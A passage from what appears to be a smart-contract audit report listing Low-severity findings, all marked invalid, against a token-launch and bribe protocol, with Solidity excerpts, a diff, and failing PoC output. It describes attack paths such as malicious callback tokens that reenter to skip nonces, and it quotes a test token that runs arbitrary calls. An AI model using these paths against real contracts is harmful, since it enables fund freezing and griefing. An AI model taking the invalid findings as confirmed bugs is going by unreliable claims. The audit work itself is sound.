     ///      accrual. Both global-index and Strategy-entitlement conversions round down.
     /// @param strategy Strategy to checkpoint, or the zero address to checkpoint only the global stream.
     function _updateRevenue(address strategy) private {
         RevenueData storage data = revenueData;
         uint256 currentRevenuePerSignal = revenuePerSignal();
 
         data.revenuePerSignalStored = currentRevenuePerSignal;
         data.lastUpdateTime = _lastApplicableRevenueTime();
 
         if (strategy != address(0)) {
             uint256 revenueDelta = currentRevenuePerSignal - strategyRevenuePerSignalPaid[strategy];
             uint256 activeBalance = isStrategyLive[strategy] ? _strategySignalWeight(strategy) : 0;
-            strategyRevenue[strategy] += Math.mulDiv(activeBalance, revenueDelta, REWARD_PRECISION);
+            uint256 remainder =
+                mulmod(activeBalance, revenueDelta, REWARD_PRECISION) + _strategyRevenueRemainder[strategy];
+            strategyRevenue[strategy] +=
+                Math.mulDiv(activeBalance, revenueDelta, REWARD_PRECISION) + remainder / REWARD_PRECISION;
+            _strategyRevenueRemainder[strategy] = remainder % REWARD_PRECISION;
             strategyRevenuePerSignalPaid[strategy] = currentRevenuePerSignal;
         }
     }
 
     /// @dev Reads a Strategy's canonical aggregate raw signal weight from its paired Bribe. Returns zero when no Bribe
     ///      has been registered for the supplied address.
     /// @param strategy Strategy whose paired-Bribe weight is queried.
     /// @return amount Aggregate raw SignalCoin units recorded by the paired Bribe.
     function _strategySignalWeight(address strategy) private view returns (uint256 amount) {
         address bribe = bribeFor[strategy];
         if (bribe == address(0)) return 0;
         return Bribe(bribe).totalSignalWeight();
     }
 
     /// @dev Caps revenue accrual at the current stream's finish timestamp.
     /// @return timestamp Earlier of the current block timestamp and `revenueData.periodFinish`.
     function _lastApplicableRevenueTime() private view returns (uint256 timestamp) {
         return Math.min(block.timestamp, revenueData.periodFinish);
     }
 }
 
     // Upstream provenance (Resonance): the global stream timing, active-period rollover, cumulative-index, earned-revenue,
     // and checkpoint kernel are adapted from Curve MultiRewards commit 99995f90bd129bbe6b5a995daf6233fb79789e4e.
     // Source repository: https://github.com/curvefi/multi-rewards
     // Source path: contracts/MultiRewards.sol at commit 99995f90bd129bbe6b5a995daf6233fb79789e4e.
     // Auction lifecycle, signal accounting, factories, custody, and authorization are outside this attribution. No
     // upstream audit, endorsement, or security assurance for this contract is implied.
```
### Affected files
- `packages/contracts/src/core/Resonance.sol`
### Validation output

```
[output truncated: 1185 lines & 64.4892578125 KB skipped]
Ran 1 test suite in 587.37ms (586.37ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/minimal/Poc.t.sol:Poc
[FAIL: each forced checkpoint rounds target entitlement to zero: 1 != 0] test_Poc() (gas: 38121463)

Encountered a total of 1 failing tests, 0 tests succeeded

Tip: Run `forge test --rerun` to retry only the 1 failed test
Tip: Run `forge test --debug --match-test <TEST_NAME>` to inspect one failing test in the debugger
```

---

# Unregistered-token BribeRouter graphs freeze bribe funds forever
**#303210**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/BribeRouter.sol`
#### Lines 34-65 — _route() qualification relies on remainingReward, which cannot detect an unregistered payment token, so route() always reverts on notifyReward for such a graph with no recovery path._

```
    /// @notice Creates the fixed route between one payment token and its paired Bribe.
    /// @dev Requires nonzero, deployed dependencies. Does not check whether the Bribe has registered the payment token.
    /// @param bribe_ Bribe paired with the Auction and authorized to pull routed tokens.
    /// @param paymentToken_ Auction payment token held by this Router before distribution.
    constructor(IBribe bribe_, IERC20 paymentToken_) {
        if (
            address(bribe_) == address(0) || address(paymentToken_) == address(0) || address(bribe_).code.length == 0
                || address(paymentToken_).code.length == 0
        ) revert ZeroAddress();

        paymentToken = paymentToken_;
        bribe = bribe_;
    }

    /// @notice Routes the complete payment-token balance into the paired Bribe when funding qualifies.
    /// @dev Permissionless. Returns zero without changing state when the balance is zero, below `REWARD_DURATION` raw
    ///      units, or below the Bribe's remaining scheduled reward. Otherwise, approves the exact balance for the Bribe
    ///      to pull and restart its stream. A failure preserves the buffer. The full balance must fit the Bribe's
    ///      remaining lifetime capacity; the cap never resets and exhaustion permanently prevents new funding for that
    ///      token. Routing failure does not revert previously completed Auction purchases.
    /// @return amount Raw payment-token units routed, or zero when the buffer must continue accumulating.
    function route() external returns (uint256 amount) {
        amount = paymentToken.balanceOf(address(this));
        if (amount == 0 || amount < bribe.REWARD_DURATION() || amount < bribe.remainingReward(address(paymentToken))) {
            return 0;
        }

        paymentToken.forceApprove(address(bribe), amount);
        bribe.notifyReward(address(paymentToken), amount);

        emit RewardRouted(address(bribe), address(paymentToken), amount);
    }
```
### `Uploaded archive/packages/contracts/src/core/Bribe.sol` (2 locations)
#### Lines 181-206 — _notifyReward unconditionally reverts via _requireRewardToken for an unregistered token after BribeRouter has already committed to calling it._

```
    function notifyReward(address rewardToken, uint256 amount) external override nonReentrant {
        _requireRewardToken(rewardToken);
        if (amount < REWARD_DURATION) revert RewardBelowDuration(amount);

        uint256 notified = lifetimeRewardNotified[rewardToken];
        uint256 maximum = MAX_LIFETIME_REWARD_AMOUNT;
        if (amount > maximum - notified) {
            revert RewardLifetimeCapExceeded(rewardToken, notified, amount, maximum);
        }

        uint256 remaining = remainingReward(rewardToken);
        if (amount < remaining) revert RewardBelowRemaining(amount, remaining);

        _updateReward(address(0), rewardToken);
        IERC20(rewardToken).safeTransferFrom(msg.sender, address(this), amount);

        RewardData storage data = rewardData[rewardToken];
        uint256 budget = amount + remaining + _rewardRemainder[rewardToken];
        data.rewardRate = budget / REWARD_DURATION;
        _rewardRemainder[rewardToken] = budget % REWARD_DURATION;
        data.lastUpdateTime = block.timestamp;
        data.periodFinish = block.timestamp + REWARD_DURATION;
        lifetimeRewardNotified[rewardToken] = notified + amount;

        emit RewardNotified(rewardToken, amount);
    }
```
⋯
#### Lines 259-269 — _remainingReward returns 0 for unregistered tokens identically to an expired registered stream, masking the misconfiguration from BribeRouter's check._

```
    /// @notice Returns the raw token units still scheduled in a reward token's active stream.
    /// @dev Computes `(periodFinish - block.timestamp) * rewardRate` while active and zero afterward. The result
    ///      excludes elapsed rewards, direct donations, and the saved rate-division remainder. Unregistered tokens
    ///      return zero.
    /// @param rewardToken Reward token whose current stream is queried.
    /// @return amount Raw token units remaining at the stored whole-unit-per-second rate.
    function remainingReward(address rewardToken) public view override returns (uint256 amount) {
        RewardData storage data = rewardData[rewardToken];
        if (block.timestamp >= data.periodFinish) return 0;
        return (data.periodFinish - block.timestamp) * data.rewardRate;
    }
```
### `Uploaded archive/packages/contracts/src/core/AuctionFactory.sol`
#### Lines 25-34 — _Public factory creates the Auction/BribeRouter pair without verifying the supplied Bribe has registered paymentToken._

```
    function createAuctionAndRouter(
        IERC20 usdg,
        IERC20 paymentToken,
        address fund,
        Bribe bribe,
        Auction.Config calldata config
    ) external returns (Auction auction, BribeRouter bribeRouter) {
        auction = new Auction(msg.sender, usdg, paymentToken, fund, config);
        bribeRouter = new BribeRouter(IBribe(address(bribe)), paymentToken);
    }
```
### `Uploaded archive/packages/contracts/src/core/Resonance.sol`
#### Lines 452-479 — _Canonical strategy creation registers the payment token on the Bribe before wiring the Auction/Router, showing the safe ordering that non-canonical factory callers are not forced to follow._

```
    function addStrategy(IERC20 paymentToken, Auction.Config calldata config)
        external
        nonReentrant
        onlyOwner
        returns (address strategyAddress, address bribeAddress, address bribeRouterAddress)
    {
        if (address(paymentToken) == address(signalCoin)) {
            revert ForbiddenPaymentToken(address(paymentToken));
        }

        Bribe bribe = bribeFactory.createBribe();
        bribe.addRewardToken(address(paymentToken));

        (Auction auction, BribeRouter bribeRouter) =
            auctionFactory.createAuctionAndRouter(usdg, paymentToken, fund, bribe, config);

        strategyAddress = address(auction);
        bribeAddress = address(bribe);
        bribeRouterAddress = address(bribeRouter);

        bribeFor[strategyAddress] = bribeAddress;
        isStrategyLive[strategyAddress] = true;
        ++strategyCount;
        ++liveStrategyCount;
        bribeRouterFor[strategyAddress] = bribeRouterAddress;
        strategyRevenuePerSignalPaid[strategyAddress] = revenueData.revenuePerSignalStored;

        emit StrategyAdded(strategyAddress, bribeAddress, bribeRouterAddress, address(paymentToken));
```
## Description

BribeRouter is deployed by the permissionless, stateless `AuctionFactory.createAuctionAndRouter` (and can also be instantiated directly) with an immutable `(bribe, paymentToken)` pair. Neither the `BribeRouter` constructor nor `AuctionFactory.createAuctionAndRouter` verify that `paymentToken` has actually been registered via `Bribe.addRewardToken` on the supplied `bribe`. `Bribe.remainingReward` silently returns `0` for an unregistered token (it only checks `rewardData[rewardToken].periodFinish`, never `isRewardToken`), so `BribeRouter.route()`'s pre-check `amount < bribe.remainingReward(...)` never blocks the call; execution proceeds to `paymentToken.forceApprove(bribe, amount)` and `bribe.notifyReward(paymentToken, amount)`, which then unconditionally reverts with `NotRewardToken` inside `_requireRewardToken`. Because `BribeRouter` is fully immutable and stateless beyond holding a token balance, and `Bribe`'s reward-token registry is strictly append-only with no owner-triggered recovery/rescue function, any payment-token balance that lands in such a router (e.g., the Bribe-share portion of every `Auction.buy()` payment) can never be routed out and has no alternate withdrawal path.
## Root cause

`AuctionFactory.createAuctionAndRouter` and the `BribeRouter` constructor never verify that `paymentToken` is registered in the paired `Bribe`, and `Bribe.remainingReward` does not distinguish an unregistered token's zero reward state from a registered token at a genuinely zero remaining schedule, so `BribeRouter.route()`'s qualification check cannot detect the misconfiguration before committing to a call that is guaranteed to revert.
## Impact

Any Auction/BribeRouter/Bribe graph assembled outside the canonical `Resonance.addStrategy` registration order (directly through the public `AuctionFactory`/`BribeFactory`, or via any future caller that creates the router before registering the token) permanently strands every payment-token unit routed to it as a bribe share. For a live Auction paired with such a router, every buyer's bribe-share payment (0%-20% of each purchase per `Auction._settlePayment`) is irrecoverably locked in the router, denying it to Strategy signalers indefinitely.

---

# Factory decimals probe is an unguarded external call pre-registration
**#303212**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/fullrange/FullRangeFactory.sol`
#### Lines 52-66 — _Unvalidated external decimals() call used as sole admission gate_

```
    function create(address coin, address base, address poolOwner, address coinRecipient, address baseRecipient)
        external
        returns (FullRangeERC20 pool)
    {
        if (IERC20Metadata(coin).decimals() > 18 || IERC20Metadata(base).decimals() > 18) revert InvalidInput();
        pool = hook.registerPool(
            FullRangeERC20.Config({
                creator: msg.sender,
                coin: coin,
                baseToken: base,
                owner: poolOwner,
                coinRecipient: coinRecipient,
                baseRecipient: baseRecipient
            })
        );
```
## Description

`FullRangeFactory.create` calls `IERC20Metadata(coin).decimals()` and `IERC20Metadata(base).decimals()` directly on caller-supplied addresses before any registration state is written, and before the `nonReentrant` modifier found on `FullRange`'s liquidity functions comes into play (the factory itself has no reentrancy guard, nor does `registerPool`). Because `decimals()` is a view-style call that most compliant tokens implement cheaply, this isn't independently exploitable as classic reentrancy since the factory doesn't hold value, but it does mean a malicious `coin`/`base` contract's `decimals()` implementation fully controls whether `create` succeeds, and can arbitrarily consume gas or revert to selectively grief registration attempts, and — if the token is a proxy or has mutable logic — the decimals check offers no guarantee the same contract behaves identically at call time versus later during seeding.
## Root cause

`FullRangeFactory.create` treats an external, caller-controlled `decimals()` call as sufficient admission control, without re-validating token behavior at the time of first liquidity settlement or defending against a token whose logic changes between registration and seeding.
## Impact

A market creator supplying a malicious or upgradeable token can pass the decimals check at registration time and then change behavior (e.g., via a proxy upgrade) before `initializeAndSeed`/`addLiquidity`, potentially causing settlement-time reverts or unexpected transfer amounts that were not present during admission; this is a weaker, time-of-check/time-of-use style gap rather than a direct fund-loss path given later settlement still enforces exact-delta checks.

---

# Unpinned Base Token Behavior
**#303218**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol` (2 locations)
#### Lines 349-368 — _Seed funding, nominal balance-delta validation, hook approval, returned usage, refund, and dust burn._

```
        Coin(r.coin).mint(address(this), r.coinSeedAmount);
        IERC20 base = IERC20(r.baseToken);
        uint256 beforeBalance = base.balanceOf(address(this));
        base.safeTransferFrom(r.originalCreator, address(this), r.baseSeedAmount);
        if (base.balanceOf(address(this)) - beforeBalance != r.baseSeedAmount) revert UnsupportedBaseTransfer();
        base.forceApprove(address(hook), r.baseSeedAmount);
        IERC20(r.coin).forceApprove(address(hook), r.coinSeedAmount);
        (r.depositedCoinAmount, r.depositedBaseAmount, r.genesisShares, r.sqrtPriceX96) =
            hook.initializeAndSeed(pool.poolId(), r.coinSeedAmount, r.baseSeedAmount, minShares, deadline);
        // The hook returns shares minted to Launchpad; its minimum shares already went to the dead address.
        IERC20(r.pool).safeTransfer(genesisLock, r.genesisShares);
        // Record the total locked issuance, including that minimum.
        r.genesisShares += hook.MINIMUM_LIQUIDITY();
        base.forceApprove(address(hook), 0);
        IERC20(r.coin).forceApprove(address(hook), 0);
        r.poolId = pool.poolId();
        uint256 refund = r.baseSeedAmount - r.depositedBaseAmount;
        if (refund != 0) base.safeTransfer(r.originalCreator, refund);
        r.burnedCoinDust = r.coinSeedAmount - r.depositedCoinAmount;
        if (r.burnedCoinDust != 0) Coin(r.coin).burn(r.burnedCoinDust);
```
⋯
#### Lines 440-446 — _Admission checks code presence and decimals but does not verify ordinary token behavior._

```
        if (block.timestamp > c.deadline) revert DeadlinePassed();
        if (
            bytes(name).length == 0 || bytes(name).length > MAX_NAME_BYTES || bytes(symbol).length == 0
                || bytes(symbol).length > MAX_SYMBOL_BYTES || c.baseToken.code.length == 0 || c.baseSeedAmount == 0
                || c.coinSeedAmount == 0 || c.coinSeedAmount > MAX_COIN_SEED_AMOUNT
                || c.creatorCoinAmount > MAX_CREATOR_COIN_AMOUNT || IERC20Metadata(c.baseToken).decimals() > 18
                || (c.receiveSwapFees && creatorFeeRecipient == address(0))
```
### `Uploaded archive/packages/contracts/src/fullrange/FullRange.sol`
#### Lines 395-412 — _Token settlement and exact fee balance check rely on the token's transfer and balance semantics._

```
    function _settleDelta(Currency currency, int256 delta, address payer, address recipient) private {
        if (delta < 0) {
            uint256 amount = uint256(-delta);
            poolManager.sync(currency);
            IERC20(Currency.unwrap(currency)).safeTransferFrom(payer, address(poolManager), amount);
            if (poolManager.settle() != amount) revert InvalidDelta();
        } else if (delta > 0) {
            poolManager.take(currency, recipient, uint256(delta));
        }
    }

    function _takeFees(Currency currency, uint256 amount) private {
        if (amount == 0) return;
        IERC20 token = IERC20(Currency.unwrap(currency));
        uint256 beforeBalance = token.balanceOf(address(this));
        poolManager.take(currency, address(this), amount);
        if (token.balanceOf(address(this)) != beforeBalance + amount) revert InvalidDelta();
    }
```
## Description

`Launchpad._validate` admits any base address with bytecode and a `decimals()` result no greater than 18, but it does not establish that the token has ordinary transfer, balance, or non-rebasing semantics. `_seedPool` snapshots Launchpad's balance around one `safeTransferFrom`, yet the token controls both `balanceOf` observations and the callback-time state changes inside that transfer. The resulting nominal amount is then approved to `FullRange`, whose settlement pulls the same token from Launchpad and only checks PoolManager's nominal settlement result; later fee extraction separately assumes an exact balance increase. A token that passes the admission calls can therefore report or mutate balances in ways that make the launch appear funded without conventional backing, or can later tax, rebase, blacklist, or otherwise block the shared hook's settlement and fee paths. The code and tests explicitly treat fee-on-transfer and reentrant behavior as unsupported, but the launch boundary has no enforceable token-behavior binding beyond code presence and decimals.
## Root cause

Base-token admission validates only `code.length` and an externally supplied `decimals()` value, while downstream launch and FullRange accounting assumes standard, non-rebasing ERC-20 semantics. The balance-delta check detects simple transfer shortfalls but cannot establish that an adversarial token's observations and future behavior are truthful.
## Impact

A caller can create a graph whose base reserve and LP accounting are not backed by the expected external-token units, causing buyers or Fund/LP participants to receive an economically invalid market. If an admitted token changes behavior after launch, its hook position can become unable to settle fees or withdrawals, leaving LP principal and related protocol flows unavailable.

---

# Zero Approval Cleanup Blocks Launch
**#303219**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol` (2 locations)
#### Lines 349-363 — _Exact approvals are set for the hook and then unconditionally reset to zero after seeding._

```
        Coin(r.coin).mint(address(this), r.coinSeedAmount);
        IERC20 base = IERC20(r.baseToken);
        uint256 beforeBalance = base.balanceOf(address(this));
        base.safeTransferFrom(r.originalCreator, address(this), r.baseSeedAmount);
        if (base.balanceOf(address(this)) - beforeBalance != r.baseSeedAmount) revert UnsupportedBaseTransfer();
        base.forceApprove(address(hook), r.baseSeedAmount);
        IERC20(r.coin).forceApprove(address(hook), r.coinSeedAmount);
        (r.depositedCoinAmount, r.depositedBaseAmount, r.genesisShares, r.sqrtPriceX96) =
            hook.initializeAndSeed(pool.poolId(), r.coinSeedAmount, r.baseSeedAmount, minShares, deadline);
        // The hook returns shares minted to Launchpad; its minimum shares already went to the dead address.
        IERC20(r.pool).safeTransfer(genesisLock, r.genesisShares);
        // Record the total locked issuance, including that minimum.
        r.genesisShares += hook.MINIMUM_LIQUIDITY();
        base.forceApprove(address(hook), 0);
        IERC20(r.coin).forceApprove(address(hook), 0);
```
⋯
#### Lines 433-447 — _Base-token validation does not preflight approval-zero compatibility._

```
    function _validate(
        string calldata name,
        string calldata symbol,
        address creatorFeeRecipient,
        address signalManager,
        LaunchConfig calldata c
    ) private view {
        if (block.timestamp > c.deadline) revert DeadlinePassed();
        if (
            bytes(name).length == 0 || bytes(name).length > MAX_NAME_BYTES || bytes(symbol).length == 0
                || bytes(symbol).length > MAX_SYMBOL_BYTES || c.baseToken.code.length == 0 || c.baseSeedAmount == 0
                || c.coinSeedAmount == 0 || c.coinSeedAmount > MAX_COIN_SEED_AMOUNT
                || c.creatorCoinAmount > MAX_CREATOR_COIN_AMOUNT || IERC20Metadata(c.baseToken).decimals() > 18
                || (c.receiveSwapFees && creatorFeeRecipient == address(0))
        ) revert InvalidLaunchConfig();
```
## Description

The seed path clears both temporary approvals with unconditional `forceApprove(..., 0)` calls after the hook returns. This is correct for ordinary ERC-20s and leaves no residual allowance on a successful launch, but it makes a launch permanently revert for an otherwise transferable token whose `approve(0)` operation is rejected. The same transaction can already have deployed the graph, seeded the position, and moved the creator's tokens before this cleanup point, although the outer `nonReentrant` call reverts the complete transaction. Because the boundary does not preflight this behavior or provide a cleanup strategy that works for such tokens, the accepted base-token domain is narrower than the admission check communicates. This is a liveness/compatibility defect rather than an allowance-drain path because the atomic revert rolls back the earlier writes and transfers.
## Root cause

Approval cleanup assumes that every admitted base token accepts `approve(spender, 0)`. The validation path checks only code presence, seed nonzero, and decimals, so it does not reject or accommodate tokens with incompatible approval semantics.
## Impact

A creator using a token that refuses zero approvals cannot complete a launch even when the requested seed transfer and liquidity settlement succeed. The failure is repeatable at the final cleanup step and prevents creation of the protocol graph for that token.

---

# Terminal nonce permanently freezes creator
**#303222**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol` (2 locations)
#### Lines 243-247 — _Launch consumes the caller-scoped nonce with checked post-increment before deploying the graph._

```
    ) external nonReentrant returns (LaunchRecord memory result) {
        _validate(name, symbol, creatorFeeRecipient, signalManager, config);
        result.originalCreator = msg.sender;
        result.creatorNonce = creatorLaunchNonce[msg.sender]++;
        result.baseToken = config.baseToken;
```
⋯
#### Lines 274-279 — _The explicit skip helper also increments the current nonce with checked arithmetic._

```
    /// @notice Permanently skips the caller's expected Coin deployment nonce; no other creator nonce can be changed.
    function advanceLaunchNonce(uint256 expectedNonce) external {
        uint256 actual = creatorLaunchNonce[msg.sender];
        if (expectedNonce != actual) revert NonceMismatch(expectedNonce, actual);
        creatorLaunchNonce[msg.sender] = actual + 1;
        emit LaunchNonceAdvanced(msg.sender, actual, actual + 1);
```
## Description

The per-creator nonce is checked against the caller’s current value and is incremented with checked arithmetic, so ordinary stale or cross-account nonce attempts revert correctly. At the terminal `uint256` value, however, both a successful launch and an explicit nonce skip execute `actual + 1`; Solidity 0.8 arithmetic reverts instead of wrapping. That leaves the creator’s CREATE2 namespace permanently unable to launch or skip again once the counter reaches its maximum.
## Root cause

The nonce increment has no terminal-value guard or recovery path; checked arithmetic turns the maximum value into a permanent liveness boundary.
## Impact

A creator whose nonce reaches `type(uint256).max` loses the ability to deploy any further Coin through this Launchpad, and any client that depends on the next nonce address cannot recover by calling the skip helper. Reaching the state requires an infeasible number of prior launches or an externally induced storage mutation, so the issue is a terminal-boundary liveness defect rather than a practical near-term attack.

---

# Token callback skips next creator nonce
**#303223**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol` (3 locations)
#### Lines 243-247 — _Launch enters its reentrancy guard and consumes the creator's current nonce before external token funding._

```
    ) external nonReentrant returns (LaunchRecord memory result) {
        _validate(name, symbol, creatorFeeRecipient, signalManager, config);
        result.originalCreator = msg.sender;
        result.creatorNonce = creatorLaunchNonce[msg.sender]++;
        result.baseToken = config.baseToken;
```
⋯
#### Lines 274-279 — _The separate unguarded entry point advances its caller's current nonce._

```
    /// @notice Permanently skips the caller's expected Coin deployment nonce; no other creator nonce can be changed.
    function advanceLaunchNonce(uint256 expectedNonce) external {
        uint256 actual = creatorLaunchNonce[msg.sender];
        if (expectedNonce != actual) revert NonceMismatch(expectedNonce, actual);
        creatorLaunchNonce[msg.sender] = actual + 1;
        emit LaunchNonceAdvanced(msg.sender, actual, actual + 1);
```
⋯
#### Lines 349-353 — _The active launch calls the caller-selected base token's transferFrom._

```
        Coin(r.coin).mint(address(this), r.coinSeedAmount);
        IERC20 base = IERC20(r.baseToken);
        uint256 beforeBalance = base.balanceOf(address(this));
        base.safeTransferFrom(r.originalCreator, address(this), r.baseSeedAmount);
        if (base.balanceOf(address(this)) - beforeBalance != r.baseSeedAmount) revert UnsupportedBaseTransfer();
```
### `Uploaded archive/packages/contracts/test/minimal/utils/Tokens.sol`
#### Lines 209-217 — _The callback-token test utility demonstrates arbitrary low-level callback execution during a token update._

```
    function _update(address from, address to, uint256 value) internal override {
        if (armed && from != address(0)) {
            armed = false;
            ++callCount;
            (bool success, bytes memory returnData) = target.call(payload);
            lastCallSucceeded = success;
            lastReturnData = returnData;
        }
        super._update(from, to, value);
```
## Description

`launch` invokes the caller-selected base token through `safeTransferFrom` after it has incremented the caller's creator nonce and before launch completion. Although `launch` is guarded by `nonReentrant`, `advanceLaunchNonce` is not guarded and permits its caller to advance its own current nonce. A callback-capable base-token contract that launches a graph for itself can invoke `advanceLaunchNonce(creatorLaunchNonce(address(this)))` during this transfer, incrementing its nonce a second time in the outer transaction. The completed launch still records its original nonce, but the token contract's following CREATE2 nonce has been consumed without a corresponding distinct launch. This violates the callback-isolation invariant that external token callbacks cannot consume another creator nonce during launch.
## Root cause

`advanceLaunchNonce` does not share the launch reentrancy guard even though `launch` makes an external call to a caller-selected base token after updating `creatorLaunchNonce`.
## Impact

A malicious callback-capable base token can create an unexpected nonce gap in its own creator namespace while launching. This invalidates deterministic address predictions for its next Coin deployment and makes the nonce state inconsistent with the number of launches attributed to that creator; no direct asset theft is required.

---

# Mutable Proxies Bypass Dependency Validation
**#303225**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol` (2 locations)
#### Lines 123-144 — _Launchpad stores USDG, factory, and deployer dependencies as immutable addresses._

```
    /// @notice Immutable six-decimal mining and auction revenue asset.
    IERC20Metadata public immutable usdg;
    /// @notice Canonical full-range pool factory and source of protocol LP-fee recipients.
    FullRangeFactory public immutable poolFactory;
    /// @notice Stateless CREATE2 Coin deployer, with launchpad-scoped creator nonces.
    CoinDeployer public immutable coinDeployer;
    /// @notice Stateless deployer of each ownerless Fund.
    FundDeployer public immutable fundDeployer;
    /// @notice Stateless deployer of launch-funded SignalCoin receipts.
    SignalDeployer public immutable signalDeployer;
    /// @notice Stateless deployer of each Coin mining contract.
    MineDeployer public immutable mineDeployer;
    /// @notice Stateless deployer of each Coin signal-directed revenue allocator.
    ResonanceDeployer public immutable resonanceDeployer;
    /// @notice Stateless deployer of each USDG ResonanceRouter.
    RouterDeployer public immutable routerDeployer;
    /// @notice Stateless deployer of the creator-owned controller with LP fee forwarding.
    ControllerDeployer public immutable controllerDeployer;
    /// @notice Shared stateless factory used by Resonance to create per-strategy Bribes.
    BribeFactory public immutable bribeFactory;
    /// @notice Shared stateless factory used by Resonance to create Auctions and BribeRouters.
    AuctionFactory public immutable auctionFactory;
```
⋯
#### Lines 208-231 — _The constructor validates code presence and checks USDG decimals only once before immutable assignment._

```
        _requireContract(address(usdg_));
        _requireContract(address(poolFactory_));
        _requireContract(address(deployers_.coinDeployer));
        _requireContract(address(deployers_.fundDeployer));
        _requireContract(address(deployers_.signalDeployer));
        _requireContract(address(deployers_.mineDeployer));
        _requireContract(address(deployers_.resonanceDeployer));
        _requireContract(address(deployers_.routerDeployer));
        _requireContract(address(deployers_.controllerDeployer));
        _requireContract(address(deployers_.bribeFactory));
        _requireContract(address(deployers_.auctionFactory));
        if (usdg_.decimals() != 6) revert InvalidLaunchConfig();
        usdg = usdg_;
        poolFactory = poolFactory_;
        coinDeployer = deployers_.coinDeployer;
        fundDeployer = deployers_.fundDeployer;
        signalDeployer = deployers_.signalDeployer;
        mineDeployer = deployers_.mineDeployer;
        resonanceDeployer = deployers_.resonanceDeployer;
        routerDeployer = deployers_.routerDeployer;
        controllerDeployer = deployers_.controllerDeployer;
        bribeFactory = deployers_.bribeFactory;
        auctionFactory = deployers_.auctionFactory;
        protocolFeeRecipient = initialProtocolFeeRecipient;
```
### `Uploaded archive/packages/contracts/src/core/Mine.sol` (3 locations)
#### Lines 198-212 — _Mine immutably binds the supplied USDG address without verifying its behavior._

```
    constructor(address coin_, IERC20 usdg_, address fund_, address revenueRouter_, address initialOwner)
        Ownable(initialOwner)
    {
        if (
            coin_ == address(0) || address(usdg_) == address(0) || fund_ == address(0) || revenueRouter_ == address(0)
                || coin_.code.length == 0 || address(usdg_).code.length == 0 || fund_.code.length == 0
                || revenueRouter_.code.length == 0
        ) revert ZeroAddress();
        coin = ICoin(coin_);
        usdg = usdg_;
        fund = fund_;
        launchpad = ILaunchpad(initialOwner);
        startTime = block.timestamp;
        revenueRouter = revenueRouter_;
        _slot = _emptySlot();
```
⋯
#### Lines 382-413 — _Payment claims are credited from nominal payment amounts._

```
    function _allocatePayment(address previousMiner, PaymentConfig memory fees, uint256 epochId, uint256 paymentAmount)
        private
        returns (uint256 revenueAmount)
    {
        if (paymentAmount == 0) return 0;

        uint256 previousMinerAmount;
        if (previousMiner != address(0)) {
            previousMinerAmount = Math.mulDiv(paymentAmount, PREVIOUS_MINER_BPS, BPS);
            claimablePayment[previousMiner] += previousMinerAmount;
            totalClaimablePayments += previousMinerAmount;
            emit MinerPaymentAccrued(previousMiner, epochId, previousMinerAmount);
        }

        uint256 creatorAmount;
        if (fees.creator != address(0)) {
            creatorAmount = Math.mulDiv(paymentAmount, fees.creatorBps, BPS);
            claimablePayment[fees.creator] += creatorAmount;
            totalClaimablePayments += creatorAmount;
            emit CreatorFeeAccrued(fees.creator, epochId, creatorAmount);
        }

        uint256 protocolAmount;
        if (fees.protocol != address(0)) {
            protocolAmount = Math.mulDiv(paymentAmount, fees.protocolBps, BPS);
            claimablePayment[fees.protocol] += protocolAmount;
            totalClaimablePayments += protocolAmount;
            emit ProtocolFeeAccrued(fees.protocol, epochId, protocolAmount);
        }

        revenueAmount = paymentAmount - previousMinerAmount - creatorAmount - protocolAmount;
    }
```
⋯
#### Lines 415-433 — _Nominal USDG is pulled and the nominal revenue remainder is transferred without balance-delta checks._

```
    /// @dev Pulls the complete raw USDG payment from `payer`, then transfers the exhaustive remainder to
    ///      the snapshotted revenue destination. The retained balance backs all pull claims. Sender and receiver
    ///      balance deltas are not checked because USDG is assumed to be a standard, non-rebasing ERC-20.
    /// @param payer Account funding the replacement.
    /// @param router Revenue destination snapshotted before the replacement's token interactions.
    /// @param epochId Identifier of the tenure consumed by the replacement.
    /// @param paymentAmount Complete raw USDG amount pulled from `payer`.
    /// @param revenueAmount Raw USDG amount transferred to the snapshotted destination.
    function _collectAndDeposit(
        address payer,
        address router,
        uint256 epochId,
        uint256 paymentAmount,
        uint256 revenueAmount
    ) private {
        usdg.safeTransferFrom(payer, address(this), paymentAmount);
        usdg.safeTransfer(router, revenueAmount);

        emit RevenueDeposited(epochId, router, revenueAmount);
```
## Description

The constructor performs the USDG metadata check only once and then stores the supplied address as an immutable dependency; the same code-length-only treatment applies to factory and deployer addresses. A transparent or UUPS proxy can report six decimals at deployment and pass `_requireContract`, then later change its implementation without changing the address stored in `usdg`, `poolFactory`, or a deployer field. Mine subsequently binds that address as its immutable payment token, while its replacement path computes claimant and revenue amounts from nominal `paymentAmount` values and transfers those nominal amounts without checking token balance deltas. If the proxy is upgraded to fee-on-transfer, incompatible, or malicious logic, mining can create claims that exceed the Mine's received balance, strand revenue, or make later replacements and claims revert.
## Root cause

The constructor validates a mutable address as though it were an immutable implementation and does not bind or verify implementation code or token transfer semantics. Mine's raw-unit accounting assumes standard, exact-transfer USDG behavior after only the constructor-time metadata check.
## Impact

An upgrade of an accepted USDG proxy can make future mining payments undercollateralized or permanently unavailable, and an upgraded factory/deployer proxy can redirect later launches to arbitrary logic. Users can lose creator or miner/revenue value, while existing Mine instances cannot be repaired by changing Launchpad storage because the bindings are immutable.

---

# Unrestricted signal receipt metadata
**#303229**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/launch/SignalDeployer.sol`
#### Lines 8-20 — _The deployer is explicitly stateless and forwards caller-selected metadata without validation._

```
/// @notice Deploys SignalCoin contracts without retaining ownership or mutable state.
contract SignalDeployer {
    /// @notice Deploys a SignalCoin with the caller authorized to bind Resonance and fund another account's signal.
    /// @dev Canonical Launchpad setup renounces ownership after its optional creator signal grant.
    /// @param coin Coin deposited to create signal receipts.
